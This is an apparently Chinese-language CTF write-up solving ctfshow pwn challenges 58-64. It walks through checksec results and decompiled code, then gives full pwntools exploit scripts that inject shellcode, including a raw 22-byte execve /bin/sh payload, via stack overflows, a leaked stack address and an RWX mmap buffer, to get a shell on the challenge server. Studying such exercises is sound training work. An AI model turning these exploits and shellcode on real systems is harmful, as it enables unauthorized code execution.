0%

shellcode(ctfshow58-64)

ctfshow58

1
2
3
4
5
6
7
8
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位程序,NX保护没开,栈可以执行

ida:main函数调用了ctfshow函数

1
2
3
4
5
add     esp, 10h
sub esp, 0Ch
lea eax, [ebp+s]
push eax ; s
call ctfshow

ctfshow函数

1
2
3
4
5
int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}

存在gets函数栈溢出,并且gets函数写入的地址 [ebp+s] 在后面会被调用,且栈可以执行,所以我们直接写入shellcode就可以

1
2
3
4
call    _gets
add esp, 10h
sub esp, 0Ch
push [ebp+s]
1
2
3
add     esp, 10h
lea eax, [ebp+s]
call eax

exp:

1
2
3
4
5
6
7
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28158)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()

ctfshow59

这道题与上一道一样只不过是64位的,注意生成shellcode的时候需要注明架构为64位

1
2
3
4
5
6
7
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28306)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()

ctfshow60

1
2
3
4
5
6
7
8
9
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

32位,NX保护没有开启,栈可以执行

ida:gets函数存在栈溢出,使用strncpy函数将对应的字符串复制到 buf2 处

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 100u);
printf("See you ~");
return 0;
}

我们看一下buf2所在的位置

image-20250130214540641

然后看看bss段是否可执行

image-20250130214637415

我们看到是不可执行的,但是去看了一下师傅们的wp发现是可执行的,应该是版本的问题

N316WRCUO1533QCK8HZXZW

思路:我们将shellcode写入,然后填充垃圾数据覆盖返回地址为buf2,就可以了,因为strncpy函数会将对应的字符串复制到 buf2 处,所以shellcode也会被复制到buf2

偏移为:112

ida是有问题的

image-20250130215539447

exp:

1
2
3
4
5
6
7
8
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28249)
buf2 = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a')+p32(buf2) #使用 ljust 函数将 shellcode 字符串用a补充到长度为 112
io.sendline(payload)
io.interactive()

ctfshow61

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化

ida:我们发现 printf函数将v5的地址打印出来了,我们可以将v5的地址接受保存下来,并将shellcode写入v5,再将返回地址覆盖为v5的地址就可以,但是v5到ret_addr的长度只有16字节,而shellcode要32字节,不会了,看一下师傅们的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF

v5[0] = 0LL;
v5[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}

原来不只是长度不够,还有leave的问题

leave的作用相当于MOV SP,BP;POP BP。 因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节

而且v5后的8个字节也不能存放(这里需要存放返回地址),所以我们只能将shellcode放在v5后的32字节的地方,并将返回地址改为v5后面32字节的地方

如何接受到v5的正确地址:

image-20250130223204351

我们可以看到v5的地址实在[]里

1
2
3
4
5
io.recvuntil(b'[')                        #输入流中首先接收数据直到遇到 '[' 字符为止
v5 = io.recvuntil(b']', drop=True) #再次接收直到遇到 ']' 字符为止
v5 = int(v5, 16) #将变量 v5 解析为一个十六进制的整数
#获取到的是字节串,p64()的参数是整形,要把字节串转化成整形
# 不能用hex(int(v5_addr, 16)),因为hex的结果是字符串,不能传给p64()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28114)
shellcode = asm(shellcraft.sh())
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5)) #打印v5的十六进制表示
payload = b'a'*(0x10+0x8) #溢出到返回地址
payload += p64(v5+32) #将将返回地址改为v5后面32字节的地方
payload += shellcode #将shellcode写入到v5后面32字节的地方
io.sendline(payload)
io.interactive()

ctfshow62

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化

ida:和上一题一样,只不过read为0x38字节(56),栈空间24,返回地址8不可用,所以最大写入的是56-24-8=24,而自动生成的shellcode是0x30,所以不够了,看了一下师傅们的wp,需要找更短的shellcode

1
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"   #22bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38uLL);
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28286)
shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5))
payload = b'a'*(0x10+0x8)
payload += p64(v5+32)
payload += shellcode
io.sendline(payload)
io.interactive()

ctfshow63

ida:和上一题一样,只不过可读入的更少了,只有0x37(55),55-24-8=23,上一题用的shellcode为22字节,还可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x37uLL);
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28224)
shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5))
payload = b'a'*(0x10+0x8)
payload += p64(v5+32)
payload += shellcode
io.sendline(payload)
io.interactive()

ctfshow64

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位,NX保护开启,栈不可执行

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;

首先 buf = mmap(0, 0x400u, 7, 34, 0, 0)没看懂,搜了一下

1
2
3
#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr length prot flags fd offset
指定映射区域的起始地址(则由操作系统选择合适的地址) 映射区域的大小 决定映射区域的保护属性(设置为7可读可写可执行) 决定映射的类型和行为 文件描述符,用于指定要映射的文件 文件的偏移量,指定从文件的哪个位置开始映射

这个题将buf 将被设置为映射区域的起始地址,映射区域的大小为 0x400 字节,保护标志为7(映射的内存区域可以读、写和执行)

大小0x400,足够写入shellcode,并且可以执行

在看后面是一个if,是判断是否读取成功,如果 read 返回值小于 0,说明读取失败,并且退出程序

最后((void (*)(void))buf)()

buf 强制转换为一个函数指针类型,并且调用buf,我们将shellcode写入buf,就会被调用

exp

1
2
3
4
5
6
7
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28112)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()
// 在最后添加